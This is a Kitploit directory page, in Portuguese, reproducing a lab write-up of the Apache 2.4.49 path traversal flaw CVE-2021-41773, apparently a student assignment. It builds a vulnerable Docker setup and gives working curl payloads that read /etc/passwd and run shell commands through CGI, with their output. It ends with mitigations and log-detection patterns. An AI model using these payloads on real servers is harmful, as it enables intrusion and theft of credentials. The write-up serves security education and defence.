Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Apache-CVE-2021-41773 — WHS 4ª geração 이희수. Submissão de tarefa do kr-vulhub. | Kitploit
Ferramentas/GitHubGitHub/lheeeesoo/apache-cve-2021-41773
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHublheeeesoo/apache-cve-2021-41773

Apache-CVE-2021-41773

WHS 4ª geração 이희수. Submissão de tarefa do kr-vulhub.

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-41773 Apache HTTP Server Path Traversal

Contribuidores

이희수(@lheeeesoo)


O Apache HTTP Server 2.4.49 possui uma vulnerabilidade no processo de normalização de caminhos de URL que não bloqueia adequadamente caminhos pai codificados.

Um atacante pode usar valores como .%2e para se mover para fora do diretório que o servidor web foi configurado para expor. Em ambientes onde o acesso a diretórios externos é permitido, arquivos internos do servidor podem ser expostos e, se o CGI estiver habilitado, isso pode levar à execução remota de comandos ao executar um shell do sistema.

Neste projeto, construímos diretamente um ambiente Apache HTTP Server 2.4.49 usando Docker e reproduzimos os dois cenários a seguir.

  • Exposição do arquivo /etc/passwd usando Path Traversal
  • Execução remota de comandos usando CGI

Estrutura do projeto

root@kitploit:~
CVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│   └── httpd.conf
├── web/
│   └── index.html
├── scripts/
│   ├── poc.sh
│   └── poc.ps1
└── screenshots/
    ├── 01-container-status.png
    ├── 02-normal-service.png
    ├── 03-apache-version.png
    ├── 04-path-traversal.png
    ├── 05-rce-whoami.png
    └── 06-poc-script.png

Configuração do ambiente

Execute o seguinte comando para construir a imagem Docker e iniciar o contêiner:

root@kitploit:~
docker compose up -d --build

Verifique o status da execução do contêiner com o seguinte comando:

root@kitploit:~
docker ps

No resultado da execução, confirme que o contêiner está no estado Up e que a porta 8080 do host está conectada à porta 80 do contêiner.


Verificação do serviço web normal

Acesse o seguinte endereço no navegador:

root@kitploit:~
http://localhost:8080

Com a página web do Apache sendo exibida normalmente, a configuração do ambiente está concluída.


Verificação da versão do Apache

Verifique a versão do Apache dentro do contêiner com o seguinte comando:

root@kitploit:~
docker compose exec web /usr/local/apache2/bin/httpd -v

Resultado da execução:

root@kitploit:~
Server version: Apache/2.4.49 (Unix)

Confirme que o Apache HTTP Server 2.4.49, afetado pela CVE-2021-41773, está em execução.


Condições de vulnerabilidade

Neste ambiente de laboratório, as seguintes condições são aplicadas:

  • Uso do Apache HTTP Server 2.4.49
  • Uso de caminhos Alias e ScriptAlias
  • Acesso permitido a diretórios fora da raiz web
  • Funcionalidade CGI habilitada
  • Processo do Apache executado com a conta daemon

A configuração do Apache permite acesso ao caminho raiz do sistema de arquivos, como mostrado abaixo:

root@kitploit:~
<Directory "/">
    AllowOverride None
    Require all granted
</Directory>

Além disso, a seguinte configuração foi usada para a execução de CGI:

root@kitploit:~
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"

<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options +ExecCGI
    Require all granted
</Directory>

Path Traversal

A seguinte solicitação acessa o arquivo /etc/passwd dentro do contêiner usando um caminho pai codificado:

root@kitploit:~
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

O valor .%2e é tratado como .. após a decodificação da URL.

Dessa forma, um atacante pode subir vários diretórios a partir do caminho Alias e acessar o arquivo /etc/passwd.

Resultado da execução:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

O /etc/passwd armazena informações de contas do sistema, como nome de usuário, UID, GID, diretório inicial e shell de login.

Embora não contenha senhas reais, a vulnerabilidade de exposição de informações é confirmada pelo fato de um arquivo interno do servidor, que um usuário web externo legítimo não deveria acessar, ter sido exposto apenas por uma solicitação HTTP.

Em um ambiente de produção real, as seguintes informações confidenciais podem ser expostas da mesma forma:

  • Arquivos de configuração de aplicações
  • Informações de conexão com o banco de dados
  • Chaves de API e credenciais de autenticação
  • Código-fonte
  • Arquivos de log
  • Certificados e chaves privadas

Execução de comandos via CGI

A seguinte solicitação usa Path Traversal para acessar /bin/sh e executar o comando whoami.

root@kitploit:~
curl -s --path-as-is \
  -d "echo Content-Type: text/plain; echo; whoami" \
  "http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

Resultado da execução:

root@kitploit:~
daemon

Como o caminho /cgi-bin/ é configurado com ScriptAlias, o Apache não apenas lê o arquivo nesse caminho, mas o executa como um programa CGI.

Ao acessar /bin/sh por meio de Path Traversal e enviar os comandos no corpo da solicitação, os comandos são executados com as permissões da conta sob a qual o Apache é executado.

Neste ambiente, o Apache é executado com as seguintes contas:

root@kitploit:~
User daemon
Group daemon

Portanto, o resultado da execução do comando também foi exibido com a conta daemon.

Embora não tenha privilégios de root, existe a possibilidade das seguintes ameaças adicionais:

  • Alteração de arquivos de aplicações web
  • Roubo de arquivos de configuração e credenciais
  • Download e execução de arquivos maliciosos
  • Exploração da rede interna
  • Escalonamento de privilégios usando vulnerabilidades adicionais

Execução do script de PoC

Em vez de comandos individuais, você pode usar o script de PoC para verificar de uma só vez o serviço normal, o Path Traversal e a execução remota de comandos.

PowerShell

root@kitploit:~
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1

Bash

root@kitploit:~
bash scripts/poc.sh

O script verifica os seguintes itens em ordem:

root@kitploit:~
[1] 정상 서비스 확인
[2] Path Traversal을 통한 /etc/passwd 접근
[3] CGI를 통한 id 명령 실행


Medidas de mitigação

Atualização da versão do Apache

Não use o Apache HTTP Server 2.4.49; atualize para a versão mais recente com os patches de segurança aplicados.

Bloqueio do acesso ao diretório raiz

Em ambientes de produção, o caminho raiz do sistema de arquivos deve ser bloqueado por padrão.

root@kitploit:~
<Directory "/">
    Require all denied
</Directory>

Permita apenas os diretórios web necessários, separadamente.

root@kitploit:~
<Directory "/usr/local/apache2/htdocs">
    Require all granted
</Directory>

Desativação de CGI desnecessário

Se o CGI não for necessário, desative os seguintes recursos:

  • mod_cgi
  • ScriptAlias
  • ExecCGI

Aplicação do princípio do menor privilégio

O processo do Apache deve ser executado com uma conta de serviço restrita, não com root, e os arquivos e diretórios acessíveis a essa conta devem ser minimizados.

Monitoramento de logs

Solicitações contendo caminhos anômalos, como os seguintes, devem ser detectadas e bloqueadas:

root@kitploit:~
.%2e
%2e%2e
/cgi-bin/

Encerramento do ambiente

root@kitploit:~
docker compose down

Conclusão

Neste laboratório, compilamos o Apache HTTP Server 2.4.49 usando um Dockerfile e configuramos um ambiente vulnerável reproduzível com o Docker Compose.

Confirmamos que, por meio de uma solicitação de Path Traversal, o arquivo /etc/passwd dentro do contêiner, que um usuário web comum não deveria acessar, foi exposto.

Também confirmamos que, em um ambiente com CGI habilitado, é possível acessar /bin/sh e executar comandos do sistema com as permissões da conta daemon, sob a qual o Apache é executado.

Com isso, é possível confirmar que a CVE-2021-41773 é uma vulnerabilidade que pode levar não apenas à exposição de caminhos, mas também à execução remota de comandos, dependendo da configuração do ambiente.


Referências

  • Apache HTTP Server Security Vulnerabilities
  • NVD CVE-2021-41773
  • Apache HTTP Server URL Mapping Documentation
  • Apache CGI Documentation
Baixar ferramenta